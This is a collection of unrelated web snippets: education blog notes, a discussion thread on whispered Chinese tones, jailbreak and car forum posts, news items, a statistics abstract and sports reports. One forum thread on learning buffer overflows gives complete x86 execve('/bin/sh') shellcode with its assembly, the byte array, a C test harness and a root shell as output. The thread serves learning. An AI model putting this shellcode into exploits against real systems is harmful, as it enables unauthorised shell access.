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I saw this article about how unemployment rates and earnings differ depending on your degree and found it very interesting:
My comments:
-Any degree is better than no degree, but of course we all knew that "having a degree" isn't all that you need to get a great job. It's only one piece of the puzzle and especially depends on your major.
-Since many testing-only degrees don't fare well on the earnings chart, make sure to combine your degree with either experience or a masters, preferably both for maximum job-seeking ability
-Graduate degrees make more money and have lower unemployment. Use the advantage that testing gives you not to "be done with school quickly," but to get the BS out of the way so you can have more time for a masters, which will give you more for your time and money. Do consider grad school even if you've never had it in mind. (I sure never thought I would do it!) With the 9 months that I spent on my undergrad thanks to CLEP/DSST/SL/ECE, even though I chose a full 2 year MBA program, I will be done quicker and with less money spent than if I had only done my undergrad in a traditional manner. An online undergrad with no testing would have taken me around 6 years with my schedule. I'll be done with my BS + MBA in less than three total at a fraction of the cost. No my MBA isn't cheap, but since I spent less than 6k on my BS, I wasn't in debt so can spend a little more.
-One last totally random thought...I'm surprised business majors did so well. I keep seeing articles about business being a well-paid field and I have a theory about why: I believe that many adults who already have a decent job but no degree go back to school for business. It's a good general degree that suits many career paths within a company that they might be working for. I don't think it's very useful fresh out of college unless you work really hard on getting experience to complement it. (think internships or volunteer experience)
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Tone Deafness and Whispering Doesn't Stop Tones
22 Aug 2006
I recently read a blog entry in which the author mused that life must be a living hell for tone deaf Chinese. If the language is tonal, and tones play a crucial role in differentiating words, then tone deaf Chinese can't understand what other people are saying, right? Right?
Well, no. It's not that simple. Singing and speaking a tonal language are not the same thing. However often you might hear people speak of "the music of the language," the two are not the same. I'm lucky this is the case, because I'm a terrible singer.
A USA Today article explains:
> How can [a tone deaf Chinese person] tell the difference in speech between, say, [妈] and [马] with only their distinct tones to distinguish the meanings?
> Easily enough, it turns out. Mostly, he uses context and other language clues. Homonyms in Chinese (or English: "I'm a little hoarse"), rarely confuse a listener — when heard in context. But also, it's easier to distinguish varying tones. Moreover, the tones we use in languages are coarse discriminators that even a disabled person can manage. To convey meaning differences, speech requires tone distinctions three to six times greater than melodies do for musical nuances.
(Pinyin News gets a little more analytical about it, if you're interested.)
I was not surprised by this. I remember a while back when I first started studying Chinese, my dad posed this question to me: if Chinese is tonal, then can the Chinese understand each other when they whisper? This is actually a very good question. Whispers can't carry tones. Trying "whispering to a melody." You can't.
This is because whispers lack what is called "fundamental frequency" (a physics term represented by f0), which is the basis for pitch. And that's the aspect of normal spoken speech which carries tones.
So it would seem that my dad was dead on: it is physically impossible for whispers to carry tones. The thing is, you can whisper in Chinese, and it is understandable. But how does this work?
It turns out that when people whisper a tonal language such as Chinese, they naturally compensate for the lack of tones. How? According to one study:
> 1. the laryngeal sphincter mechanism is found to be a principal contributing physiological maneuver in the production of whisper, emphasizing the vertical rather than the horizontal component of the laryngeal source;
> 2. two special behavioral maneuvers are also used in whisper: male speakers tend to lengthen vocalic duration and female speakers tend to exaggerate the amplitude contours of Tone 3 and Tone 4;
> 3. these two special behavioral maneuvers and two temporal envelope parameters contribute to tone recognition in whisper, but the phonetic context is shown to be a distraction;
> 4. the environments of the target tones cause perceptual differneces, and the ranking of these environments in order of increasing degree of difficulty is: isolation, sentence-final, sentence-medial and sentence-final;
> 5. the ranking of the four tones in isolation, in order of increasing degree of perceptual difficulty is: Tone 3, Tone 4, Tone 1 and Tone 2.
> Source: Tones in Whispered Chinese: Articulatory Features and Perceptual Cues by Man Gao
Whew! OK, the basic idea is this: when people whisper, they naturally overcome the limitation of the medium by compensating in other ways. And they do it without even trying! I can even do it, and I'm pretty sure I never studied whispering tones. This is pretty cool.
So there you go, dad… it only took me about 6 years to find the answer to your question.
Is a tone in music the same thing as a tone in speech? Of course we use the same words for these things, but do they really correspond? I'm just sort of curious, not sure either way. Though if they don't, we'd have a lexical equivalent of mishearing "hoarse".
CaptainEO Says: August 22, 2006 at 12:44 pm
I'm no linguist, but I've come to think that tones are just as much about syllable stress as they are about pitch. Especially in fast (or whispered) speech, the pitches might disappear, but the contours of syllable stress imposed by the tones remain.
(I realized that in multisyllabic English words, you have to remember which syllable to stress, whereas in Chinese I believe the stress is completely dictated by the tones)
Here's an excerpt from an article that's pretty well informed on the musical side of things… if you can get by its saying that "ma" in a lower tone means hemp." It looks like Chinese music students really do tend to have a better grasp on tones when it comes to music, too.
Deutsch tested this hypothesis by playing 36 notes to a group of 88 Mandarin-speaking Chinese music students and 155 English-speaking American music students. The students wrote down the name of each note after hearing it played. The participants also indicated at what age they began their musical training.
Of the Chinese music students, 63 percent named the notes correctly–within a half step–at least 85 percent of the time. Of the American students, only 7 percent met the criteria for absolute pitch.
Lantian Says: August 22, 2006 at 1:14 pm
The opposite of wispering is shouting. Another six years to explain why when I shout 'fuwuyuen' or 'mai dan' it seems my tones fall to pieces? I noticed that kids love to shout and I've been making guesses that it helps them 'lock' in their tones and the language. I would like to do the same, but I think many people would run away if I started shouting.
Da Xiangchang Says: August 22, 2006 at 2:36 pm
Maybe I'm a total philistine, but I found the OTHER question on that link–"How big is the Star Trek ship?"–a lot more interesting. 😉
I'm not sold. I think it is possible to produce valid tones when whispering in Chinese. In other words, I think whispers can carry tones. It just may be more difficult to perceive them.
Singing and speaking a tonal language are not the same thing.
Yup. But that raises another issue. It's also worth mentioning the case of singing (in the literal sense). When people sing in Sinitic languages tones (as in the feature of tonal languages) can become much less apparent or even disappear altogether. Yet listeners understand the songs. I wonder if there are studies on that.
I'm with Prince Roy. I spent 5 minutes to do an experiment to verify his hypothesis, and he's right. I whispered xiao xiáo xiăo, and xiào into my computer mic, recording a .wav file and then looked at a spectral view of the file. The pitch of the loudest sound (at each given point) in the recording follows the pattern it should for each word.
Anybody care to independently verify my results?
Prince Roy and Mark,
Wow, I'm really quite surprised that you don't accept that tones are impossible in whispered speech. Whispered speech is defined as speech without vibration of the vocal chords, and without such vibration, tones are impossible. It really is physically impossible for whispered speech to carry tones. To deny this is to deny all scientific research been done on it (that I can find). If you can find any evidence to the contrary, then by all means, share it.
Whispers do not carry tones; speakers whisper in such a way as to carry the same information that tones do, but in a different way.
If you're still not convinced, try this other research paper: Larynx movements and intonation in whispered speech. An excerpt:
Since the larynx movements responsible for pitch changes are comparable in voiced and whispered speech, we infer that the speech motor control plans are similar, at the expense of articulatory redundancy in whispered speech. This affords an explanation for perceived pitch in whispered speech: larynx movements change the tongue position and the shape of the oral cavity, thus altering the vocal tract acoustics so that the speech signal carries information that allows listeners to infer the articulatory movements normally associated with pitch changes.
Another quote from another source:
…data support the notion that whispered speech relies on a motor control system different and distinct than that of voiced speech.
More relevant links:
- Tone Identification in Whispered Speech
- Assessing the relative effectiveness of
voiced and whispered speech
John, I'm really amazed that you can't accept people relying on physical observation and experimentation. I'm also amazed that you think that an appeal to authority[1] would convince a curious and scientific-minded geek such as myself that something I just told you I observed and measured is impossible.
Suppose a doctor told you that smooth muscles can't consciously be controlled (as many doctors and medical researchers have said before), and then you saw someone such as a yoga expert demonstrating conscious control of various "involuntary" muscles and you took measurements relating to this. You might believe that smooth muscles can be controlled in some circumstances. Would you decide that your senses were deceiving you if I sent you some more links to papers written by other medical researchers who said it was impossible? I know it's a rhetorical question, but you get my point.
Here is the crux of our debate. You said:
Whispered speech is defined as speech without vibration of the vocal chords, and without such vibration, tones are impossible.
Every sound wave has a frequency, regardless of whether it was generated by voiced speech, unvoiced speech, whistling (which doesn't use vocal chords), or banging on a garbage can. Pitch is based on the frequency of a sound wave. In truth, any sound you encounter in the real world will be a composite of many sounds, each with their own wavelengths and frequencies. It's also true that perceived pitch is often based on a "missing fundamental". However, even in those cases, pitch can be measured. Are you really claiming that the sound waves created by whispering don't have a pitch!!? If they don't have any pitch, then they don't have a frequency or a wavelength, either.
Maybe you just don't think that it's possible for people to change the pitch of sounds they make by exhaling unless they use their vocal cords. What about whistling? That's not speech? Ok, fine. Try making an "SH" sound and moving your lips together an and apart. Do this into a computer microphone and then look at a spectral (pitch based) view of the sound file. The intensity of sound at various pitches changes as you change the acoustics of your mouth, doesn't it? Even the paper you quoted to me mentions the effect of acoustics during whispering: Larynx movements and intonation in whispered speech. An excerpt:
This affords an explanation for perceived pitch in whispered speech: larynx movements change the tongue position and the shape of the oral cavity, thus altering the vocal tract acoustics …
Can you explain to me how altering the acoustics of something won't have any affect on the pitch of the sound created when air is blown through it? Here's one more excerpt from the same article:
Pitch changes in speech have also been observed, however, when vocal fold vibration is absent.
[1] I don't mean to imply that the people you quoted aren't authorities in the field of linguistics. That doesn't tell me much about what they know about the physics of sound, though. In any case, at least one of the experts you quoted supported my claim that pitch changes occur in speech, even in the absence of vocal chord vibration
[2] The last link you provided was to a "Centre for Neural Basis of Hearing". It appears the author of that paper used definition of pitch which doesn't conform to either the standard Webster definition of pitch or the ANSI definition of pitch.
Da Xiangchang Says: August 24, 2006 at 2:34 am
Maybe people are mistaking murmuring with whispering and vice versa.
John, is it possible that you're confusing f0 with the concept of pitch (or tone) in general? As I understand it, amplitude contour (discussed at length, beginning on page 65 of the MA thesis you linked to) is nothing more than an integral of the sound intensity across a range of pitches. With no pitch there would be no amplitude contour, either.
BTW, the spectral view of my sound file of me whispering Chinese words of each tone is very similar to the amplitude contour figures in that thesis paper.
I wasn't appealing to authority, I was appealing to scientific research. Not the same thing. Appeals to authority are not made to objective facts.
I think this all comes down to definitions: definition of pitch, definition of tone. Surely you admit that the "tones" occurring in regular spoken speech and in whispered speech are not the same? Somehow, my definition of "tone" (as well as that of some of the quoted scholars) excludes that which occurs in whispered speech and yours does not.
As for pitch, there are definitely different definitions, and I can see that this is coming into play. Pitch:
- Acoustics The distinctive quality of a sound, dependent primarily on the frequency of the sound waves produced by its source.
- Music The relative position of a tone within a range of musical sounds, as determined by this quality.
- Music Any of various standards for this quality associating each tone with a particular frequency.
I admit I was using a more musical definition of pitch at times, which is confusing. But if you're using the most general definition of pitch which every sound has, I don't see that as very helpful. Surely you're not claiming that whispered speech is exactly the same as normal spoken speech?
Rather than continue to argue semantics, let me ask you this: is it possible for you to sing in a whisper a song that is unfamiliar to me, and have me learn the melody?
Your mention of fundamental frequency immediately made me think of sound in terms of physics. Just to clarify, what I meant when I said pitch was (#29): the degree of height or depth of a tone or of sound, depending upon the relative rapidity of the vibrations by which it is produced.
No, of course whispered speech is quite a bit different than voiced speech. The tone of a whisper and the perceived tone of a whisper can be controlled to some degree, but it's obviously a very poor substitute for using vocal chords, which were designed for the task. There are some pretty hard physical limits to how much one can shift the perceived pitch of a whisper. Even worse, doing so affects the volume of the sound you make, and whispering's bad for your voice, too.
It may be possible to whisper an unfamiliar "melody" to someone as long as the range between the highest and lowest notes in the melody is only a couple of half steps. It would take somebody with a pretty good ear to do it. Just as with speech, recognition would be much less reliable than usual.
Ady Says: August 28, 2006 at 3:53 pm
I think enough is enough with all this whispering.
Thomas Says: August 29, 2006 at 12:25 am
My two cents as an engineering/music double major:
Yes, whispers do have a pitch. You can do a simple test of this fact. Try whistling. Next try whisper-whistling, that is, try to whistle without using your tongue that much. Now try to do a simple melody like row row row your boat while doing that. As I sit here right now I can do it, and I can hear the melody and the words and I'm not using my vocal chords. Changing the shape of your mouth and the amount of air flow is enough to change the pitch significantly. I can manage over a two octave difference in the pitch of my whispers. Of course, all of the physics that Mark brought up is correct too.
-Mike Says: March 2, 2007 at 12:35 am
Can Chinese read lips?
Tyler Says: May 2, 2007 at 4:31 am
to Mark:
Whispers don't actually carry tones according to some comment left on another website. However, speakers of tonal languages compensate for this loss by varying the syllable stress and syllable length, because in tonal languages, these two things are dictated by the tones. I would like to see if the "double major" is correct by testing his assertion that whispers have tones. I don't think they do. I will use a tuner to see if I could produce a tone with my whisper. I don't mean to brag but not only am I a music major myself, but I have got a very good sense of pitch. But if you're right my friend well, you're right.
Tyler Says: May 2, 2007 at 4:43 am
interestingly, i must concede. i was actually able to produce a tone by "whistle whispering." But then again, when normally whispering, sofly whispering, no tone was produced. Sorry if I was being rude by talking about your major or what not.
Phoebe Says: May 2, 2007 at 6:34 pm
I always thought tone-deafness was just a term used by people who couldn't sing. I didn't think anyone actually was tone-deaf. Does it exist? There's not much information on it, especially how many people are actually affected.
chris Says: February 3, 2008 at 7:03 am
Whispers dont carry tone or pitch. Its really simple actually and a lot of the above comments are based on some fundamental confusions. Pitch is the subjective measure of frequency. Frequency is the number of cycles a periodic sound wave completes in a given amount of time. Voiced vowels have a frequency because the vocal chords vibrate periodically and create a periodic sound wave. Whispered vowels are aperiodic, they get their sound only from the air passing through the pharynx and oral cavity. This air is turbulent and and creates sound waves that not even close to periodic.
The comments regarding whistling and whispered vowels have to do with the vowel formants. The formants represent the transfer function applied to the sound wave as it passes through the pharynx and mouth. These are still present when one whispers, and are also present when we whistle, but neither of these two things have a fundamental frequency. When people hear a complex tones thats missing the fundamental, the brain kind of deduces the fundamental using the other information provided in the signal. This may lead to the impression of pitch.
chris Says: February 3, 2008 at 7:50 am
sorry, whistling does have a fundamental.
Christian Says: April 12, 2008 at 1:56 pm
This article confirms some of the suspicions I've had over the last year 🙂
While my Hong Kong friend at school does use pitches often, sometimes they seem to be drown out or just don't appear, especially when talking quietly in Math class, and rather than pitches he changes the sound of the vowels to compensate so (for example) 'hao' in a low pitch could become 'hou'.
Anyway great article I was looking for something like this 🙂
[…] Tone Deafness and Whispering Doesn't Stop Tones, Sinosplice, August 22, 2006 […]
I still don't get it Says: April 4, 2011 at 2:05 am
So in conclusion the Putonghua actually uses a mix of tones, pitch, and accent?
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I'd love to have a link to a sound file of Chinese people whispering so I can hear for myself. Does anybody have one?
First, I was GOING to write that Chinese people don't whisper.
Because they don't, here in the Mainland.
Then I was going to write that it's impossible to speak Chinese without yelling (as you've proven here), because the tones require a certain minimum volume to distinguish from high to low, low to high, etc.
But then I remembered a trip back to China a few years ago…Air Canada Vancouver to Shanghai..
As I plopped down in my seat behind a couple middle aged Chinese women, I was started to hear something unheard of in the PRC: a couple Chinese whispering on the plane. What was this? Surely a sign of Economic development… two people… talking… not shouting. But they were speaking Mandarin, so… not Hong Kongese.
What gives?
Then I heard them speak English (!) to the stewardess (she was stunned). Right. Canadian Chinese (CBC). Got it. They'd been born in Canada, and learned Chinese as a second language. You could tell where they were forced to creatively use simple language, and where they couldn't express a certain idea, they just gave up and said something in English (as many Latin Americans do in the States–Spanglish).
They weren't going back to China at all…they were visiting it.
So perhaps the screeching and shouting is just cultural. It must have been learned in China, because it wasn't learned in Canada, and it isn't a 'necessary' part of the language at all.
So I correct myself. In the PRC no one whispers, or speaks at a normal level. They could, but they don't.
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New Pieces @ Java Earth, PBSaturday, November 19th, 2011
Here are a few shots of the pieces hanging at Java Earth, a neighborhood coffee shop in Pacific Beach. Among the pieces, a few "Vases and Cups" limited edition prints, and two new acrylic on canvas paintings: "Pink Sky" and "Waterfall." The cute coffee joint looks great with the colorful pieces. J Frizza


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Fixed weather but sticks in boot loop. Like to never got it back up.
So I updated everything including Activator. Originally I had a slide in gesture from screen bottom to activate switcher but now the switcher closes after I do the gesture on the home screen... Anyone else having problems like this??
I jailbroke with v1.0 of evasi0n. I didn't experience any other issues except for the Weather crash.
In Cydia I just updated evasi0n and UIKit and rebooted, but it still crashes!
I tried closing the Weather app in the switchboard and rebooting again to see if that would help but to no avail.
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Working GREAT on iPhone 5 IOS 6.1
I've seen many people on twitter having success after following these steps.
The files are located in var>mobile>library>caches.
Fixed my weather issue( was to worried never use it). It rebooted 3 times on its own. But finally kicked itself out an PERFECT. thanks dev team.
Ok seems to be doing ok for now. Got to try a couple more things.


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Compresses each file individually, creating a $fileneame.tar.gz and removes the uncompressed version, usefull if you have lots of files and don't want 1 huge archive containing them all. you could replace ls with ls *.pdf to just perform the action on pdfs for example.
There is 1 alternative - vote for the best!
Should do exactly the same - compress every file in the current directory. You can even use it recursively:
gzip -r .
If you can do better, submit your command here.
This doesn't make sense to me. If you want to compress all files then why not just use gzip. The purpose of using tar is to allow multiple files to be stored together in one file. If there is only one file in each archive then there's no point using tar.
On a more practical point I would suggest using && between the tar and rm commands. You don't want the tar command to fail and the rm to work:
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Which is better KCCC or aloe fix gel?
I suppose you could I never have. I use one small palmful of CK under a couple knuckles of AFG followed by two pea sizes of BRHG. It's very humid and muggy right now though. I used it for a while without the CK very successfully.
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heart of curls if you do a Google Search and type in CJ Aloe you'll pull up a bunch of recent discussions on all of CJ products.
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i was on my way to 7 eleven to get some coffee before i head out to class. i was stopped at a light and i saw a cavalier w/ a fmic come up behind me. i was like, this might be fun. the light turns green, i get up to around 30 mph waiting to see if he was going to do something. when i saw him change lanes and i hear him gun it. i gun in it as well in 2nd gear. it was not even a race, i put train lengths on him. and then i went to 7 eleven got my coffee. when i get to the school parking lot, i see the same cavalier parked. i park my car and walked over to look at his real quick. to my suprise, his intercooler was not connected to anything.i started cracking up. what a poser. i wanted to leave him a note to tell him how much of a douche he was. i guess his fmic means fake mount intercooler i wish i had my camera w/ me.


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WASHINGTON, DC – On March 4, the District of Columbia City Council passed legislation to remove criminal penalties from the possession of marijuana in amounts of one ounce or less. The bill would treat such possession as a civil offense, and awaits approval by Mayor Vincent Gray and then Congress. The vote was 10 to 1 with one abstention.
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Under the Marijuana Possession Decriminalization Amendment Act of 2014 (Council Bill 20-409), police would fine a person $25 for possessing an ounce or less of marijuana, while also requiring forfeiture of the marijuana and any paraphernalia connected to personal consumption or transport.
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It looks like Canibus has his release schedule set to rapid fire these days. The popular underground rapper was relatively silent over the past three years until his independent release, 'Melatonin Magik,' surfaced in November. Now, not even a full year later, Canibus is back with a new joint called 'C of Tranquility.' It's his tenth official studio album — an impressive feat for any recording artist. The album will be released via Interdependent Media, an indie label that allows Canibus to do what he wants without the pressures of adding radio-baiting singles or unnecessary collaborations.
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I have an 01 wagon and I'm getting this now. The Alternator went bad and then the battery so I replaced both, but now the light keeps coming on and it's getting annoying. Any ideas other than those stated? I took it to Orielly and...Alternator passes, battery passes, both are new within a week. This is killing me! Could it be a bad belt or bad tensioner? When I rev the engine it goes off Sometimes...Frustrating!
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Could be a bad ECU, according to the Ford dealer here, sometimes when an alternator goes bad it can screw up the ECU that regulates the voltage. And for about $1600 you can get a new ECU to turn off that light. I have the same issue, created by a alternator within Fords warranty, but they deliberately put it off till it was 50 kms out of warranty so they wouldn't have to deal with that expense. I ended up installing a voltmeter to monitor the power, it flucuates between 13 and 16 volts, thats why my light is coming on and going off all the time.
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If the line number can be trusted, then you're segfaulting on
mov byte [ebx+7], al ; *(char *)((char *)ebx+7) = ax & 0xF
Which makes me wonder what the value of ebx is (ie: is it out of bounds?)
Wassup everyone, how's everyone tonight? Well I've begun exploration into the world of buffer overflows and the like but I'm having some trouble getting my own shellcode to run. I mean it's not really shellcode yet, but in attempting the jmp/call method described in aleph1's paper gives me segmentation faults on line 11 of my code.
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Im just wondering if it's a problem in my code or if backtrack has some kind of protection scheme for this? Not really sure, but any advice is greatly appreciated, thanks.
If the line number can be trusted, then you're segfaulting on
mov byte [ebx+7], al ; *(char *)((char *)ebx+7) = ax & 0xF
Which makes me wonder what the value of ebx is (ie: is it out of bounds?)
well since the call to jmpback is made, the return address of the call should be pushed on the stack, which is actually just the address to the /bin/sh string. so thats what should be in ebx but it seems like its not getting the value
NOTE: I've assembled and executed the shell code provided with no issues - using BT4 and ubuntu 10.04 x64 (with the multilib development libraries to support building 32-bit code).
The following is my command to turn the asm into bytecode:
This gets the raw byte-code.Code:XXXXXXXXXX:~$ cat test.s section .text global _start _start: jmp callback jmpback: pop ebx xor eax, eax mov byte [ebx+7], al mov dword [ebx+8], ebx mov dword [ebx+12], eax lea ecx, [ebx+8] lea edx, [ebx+12] mov al, 0x0b int 0x80 callback: call jmpback string db "/bin/sh" XXXXXXXXXX:~$ nasm -f elf32 test.s XXXXXXXXXX:~$ objdump -d test.o test.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: e9 16 00 00 00 jmp 1b <callback> 00000005 <jmpback>: 5: 5b pop %ebx 6: 31 c0 xor %eax,%eax 8: 88 43 07 mov %al,0x7(%ebx) b: 89 5b 08 mov %ebx,0x8(%ebx) e: 89 43 0c mov %eax,0xc(%ebx) 11: 8d 4b 08 lea 0x8(%ebx),%ecx 14: 8d 53 0c lea 0xc(%ebx),%edx 17: b0 0b mov $0xb,%al 19: cd 80 int $0x80 0000001b <callback>: 1b: e8 e5 ff ff ff call 5 <jmpback> 00000020 <string>: 20: 2f das 21: 62 69 6e bound %ebp,0x6e(%ecx) 24: 2f das 25: 73 68 jae 8f <string+0x6f>
Then, I turn it into an executable C program with:
And execute, as:Code:XXXXXXXXXX:~$ cat shellcode.c char sc[] = { 0xe9,0x16,0x00,0x00,0x00,0x5b,0x31,0xc0,0x88,0x43,0x07,0x89,0x5b, 0x08,0x89,0x43,0x0c,0x8d,0x4b,0x08,0x8d,0x53,0x0c,0xb0,0x0b,0xcd, 0x80,0xe8,0xe5,0xff,0xff,0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 }; typedef void (*f)(); int main() { f func; func = (f)sc; func(); return 0; }
Again, note I've tested on BT4 Final _AND_ ubuntu 10.04Code:XXXXXXXXXX:~$ gcc -o sc shellcode.c XXXXXXXXXX:~$ ./sc sh-3.2# id uid=0(root) gid=0(root) groups=0(root) sh-3.2# exit exit
thanks a lot for your reply. It cleared up a few things. Stupid me.. i was trying to assemble this code and run it from the shell rather than inside the stack. i didnt realize that the code section in protected mode is read only so thats why it was crashing when i was tryna add those values after the /bin/sh string.


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Church of Scientology National Affairs Office Hosts Drug Prevention Cyclists
Circling the globe by bike in the name of a drug-free world
The Church of Scientology National Affairs Office in Washington, D.C., hosted two Russian athletes February 11 who are raising awareness of the need for drug education. The cyclists, Alen Khairullin, 26, and Pavel Grachev, 47, have already cycled for 4,660 miles and are circling the globe by bicycle.
The cyclists embarked on their journey to do their part in bringing about a drug-free world. They hold drug education and prevention events and distribute copies of the Truth About Drugs booklets throughout their journey.
Launching their project in Kazan, the capital of the Tatar Autonomous Republic (Tatarstan), on November 12, 2012, the two athletes are also promoting the 2013 Universiade, an international biannual sports event organized by FISU (the International University Sports Federation).
The trek, which commemorates the 100th anniversary of the two-year bicycle circumnavigation of the globe by Kazan-born Onisim Pankratov, is timed to complete in Kazan on July 6, 2013, just before the opening ceremony of the 27th Summer Universiade.
Their journey is funded by the President of Tatarstan and the Ministry of Youth, Sports and Tourism and they received an official send-off from the Prime Minister of Tatarstan.
Cyclists Khairullin and Grachev will preside at drug education and prevention events as they bike across America.
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Scientology Founder L. Ron Hubbard [12] wrote, "The planet has hit a barrier which prevents any widespread social progress—drugs and other biochemical substances. These can put people into a condition which not only prohibits and destroys physical health but which can prevent any stable advancement in mental or spiritual well-being."
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The Evening Standard can reveal that the bank is putting the audit role out to competition in a move that will be seen as a victory for Pirc, the shareholder governance lobbying group.
Last year Pirc called for KPMG to be sacked after alleging that the accountant had allowed Standard Chartered to overstate the strength of its 2011 accounts by $3.6 billion (£2.3 billion). KPMG, led in the UK by senior partner Simon Collins, earned $18.7 million from Standard Chartered last year.
The news also comes two months after the New York-based advisory arm of Deloitte was fined $10 million for its role in Standard Chartered's breach of US sanctions against Iran.
The Big Four accountants — PricewaterhouseCoopers and EY being the other two — have been widely criticised for failing to spot the warning signs of the global financial meltdown that started in 2007.
Critics believe the Big Four's long-standing relationships with the banks prevented them from being objective. Fears over these relationships have sparked regulatory reviews into audit at domestic and European Union level. The Competition Commission is demanding that it becomes mandatory for FTSE firms to re-tender their audit work every five years.
Standard Chartered has sent out what is known as a "request for proposal", which essentially kick-starts the bidding process. KPMG will be allowed to repitch but will be nervous at the prospect of losing the work so soon after it was ousted by PwC as auditor to HSBC.
A spokeswoman for Standard Chartered confirmed that the bank is "in the process" of putting the audit role out to tender. KPMG declined to comment.
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International Journal of Quality, Statistics, and Reliability
Volume 2011 (2011), Article ID 721962, 8 pages
Estimation of Reliability for a Two Component Survival Stress-Strength Model
1Department of Studies in Statistics, Karnatak University, Dharwad, Karnataka 580-003, India
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Received 14 December 2010; Revised 5 May 2011; Accepted 17 June 2011
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The reliability function for a parallel system of two identical components is derived from a stress-strength model, where failure of one component increases the stress on the surviving component of the system. The Maximum Likelihood Estimators of parameters and their asymptotic distribution are obtained. Further the Maximum Likelihood Estimator and Bayes Estimator of reliability function are obtained using the data from a life-testing experiment. Computation of estimators is illustrated through simulation study.


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I baked these muffins when I had nothing in my pantry except basics. Like a yummy quick bread, these muffins work with various add-in's: blueberries or chocolate chips or diced apple. Nuts and raisins are optional too. Leave a comment if you come up with a cool variation.
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Mumbai: Comeback man Yuvraj Singh's maiden five-wicket haul in first-class cricket was the only aspect worth mentioning on the final day of the warm-up game between England and India 'A' ended that ended in a draw at the Brabourne Stadium.
Yuvraj, who has just nine wickets so far in 37 Tests, ended with figures five for 94 ' improving upon his previous best of three for 25 ' as England were all out for 426.
Already having dismissed Kevin Pietersen and Ian Bell the other day, the left-armer further added the scalps of Samit Patel (104), Matt Prior (51) and James Anderson in the morning session itself to restrict the visitors' lead to 57.
At his second shot with the long handle, Yuvraj could manage just 14 being before being sent back by Tim Bresnan as India 'A' were 124 for four at close of play.
Resuming at 286 four, England captain Alastair Cook (119) added just seven to his overnight score before edging to wicket-keeper Wriddhiman Saha, off the bowling of Ashok Dinda.
The skipper's dismissal ended the 169-run partnership between him and Patel, both of whom steadied the ship after England were reduced to 133 for four.
The arrival of Matt Prior then quickened the scoring with the English stumper unleashing boundaries with ease. He, however, had had a slice of luck when, on four, he slashed Dinda only to be dropped by Ajinkya Rahane at gully.
Bringing up his half-century off as many balls, Prior fell to Yuvraj, edging to Suresh Raina at slip as the pair added 65 runs in just 12.1 overs. Patel, on the other hand, clawed his way to the three-figure-mark before Yuvraj struck again to remove him.
At lunch, England reached 396 for eight with Vinay Kumar picking up Graeme Swann with one that kept a tad low. In the seventh over after break, Yuvraj got his fifth when he had Anderson caught at short leg. Bresnan remained unbeaten on 33 and that ensured England went well past 400.
In their second innings, India had wiped off the deficit by tea with 68 on board after losing Abhinav Mukund, who fell cheaply to Anderson.
Anderson removed the other opener Murali Vijay (32) too, as the latter threw it away despite getting off to a good start.
Rahane (54) though was impressive, hitting six cracking boundaries before edging to slip off Patel. Captain Suresh Raina (19) and Manoj Tiwary (2) were the unbeaten batsmen at close. Raina, however, was lucky to be dropped on nought by Anderson at second slip off Bresnan and his stay at the crease later too was unconvincing, particularly against Bresnan's pace.
England now take on Mumbai 'A' in their second warm-up game at the DY Patil Stadium, in Navi Mumbai, from Saturday before proceeding to Ahmedabad for the third game ' a four-day tie ' against Haryana, from November 8.
The opening Test of the four-match series versus India is set to commence at the Motera, in Ahmedabad, from November 15.


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Genmar says improvements to its VEC closed-mold technology led to the development of its new FinCraft line of family fishing boats.
This is a major improvement for us, one that we've been working on for the past three years, Genmar Minnesota president Al Kuebelbeck told Soundings Trade Only Tuesday from his office in Little Falls, Minn.
During the last six months, engineers finalized improvements that allow gelcoat (and hull color) to be applied as part of the VEC process. Previously, the gelcoat had to be applied after the hull came out of the self-contained VEC chamber.
Essentially, VEC has gone color, said Kuebelbeck, adding that the improvements mean Genmar can now build a boat in an hour instead of two to three hours.
That increased efficiency allows the company to offer FinCraft boats at a lower price than competing aluminum family/fishing boats, according to Genmar chairman Irwin Jacobs.
For a $2,000 to $3,000 down payment you can own boat for $139 a month, which is like $5 a day, said Jacobs.
Genmar introduced the first model in the FinCraft line in January at the Minneapolis Boat Show. The FinCraft SC (side console) sells for $13,995 with a 50-hp Yamaha 2-stroke and trailer. Standard equipment includes three pedestal seats, a 28-gallon live well and a trolling motor. The boat can take up to a 115-hp outboard, and Genmar also hangs Evinrude engines.
Genmar plans to introduce three more models in June 17- and 18-foot dual consoles and an 18-foot center console thats targeted for saltwater use, said Kuebelbeck.
The VEC, or Virtual Engineered Composite, process is used to build FinCraft and several Glastron and Larson boats up to 20 feet, said Kuebelbeck. The process injects resins and catalyst into a closed mold. Because the mold is closed, more styrene is forced to bond with the composite rather than escaping into the air, making the finished component stronger while protecting the environment, according to the company.
Genmar last year considered getting back into the aluminum-boat business, after selling Crestliner, Lowe and Lund to Brunswick in 2004, according to Jacobs.
We were looking into attempting to buy one or two existing aluminum boat companies, he said. We saw no way of lowering the price of aluminum boats to the level we wanted. We didnt just want to become another aluminum-boat company.
During that time, our VEC engineers had been working on a new VEC process and a new way of manufacturing this type of a boat with VEC that we thought would take at least another eight to 10 months, he said.
The improved VEC process allows Genmar to sell the FinCraft (with a lifetime warranty) for $2,000 to $3,000 less than a comparable aluminum boat, said Jacobs. We are going into the entry-level market with a medium-market type product, he said. This is not an entry-level product. We wanted to be able to offer people an alternative to the present market.
Jacobs said the goal is to build 10,000 FinCraft boats a year, starting in 2010. Genmar can hit this mark because of the market share we think we will be able to take in aluminum as well as new buyers, he said.
Jacobs also anticipates 200 dealers will sell FinCraft boats. Theyve got something new and fresh that they can offer the customer that they have not had before, he said.
The FinCraft has a deadrise of 21 degrees at the transom and a fairly wide hull for stability, said Bruce Sargent, FinCraft sales and marketing manager. With a 50-hp outboard, the boat tops out at 28 mph and accelerates from 0 to 30 mph in less than six seconds, he said. With a 90-hp Evinrude E-TEC, the boat can reach about 38 mph, he said.
Optional equipment includes a forward live well, additional pedestal seats, and a stereo system. Sargent also pointed out that the boat has a deep cockpit, and fore and aft casting platforms.
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Dynamics of 3" vs 4 " main sewer line
I cant remember who told me this MANY years ago,,,but they said a 3" sewer pipe works much better than a 4" sewer pipe. Reason was the curve of the pipe carries more water so solids float better down the pipe. Also said anything that a 4" pipe will handle a 3" will also!!
Was who ever told me that full of crap??
I am thinking of changing out a 'cast' stack and wondered IF a 3" PVC pipe meets codes??? All would be connected to 4" cast at ground level in crawl space. MOST is vent stack straight up. Very small 600 foot house,,,stool is about 4' from vent stack,,tub about 6', bath sink less than a foot,kitch sink 2', washer drain 1'.
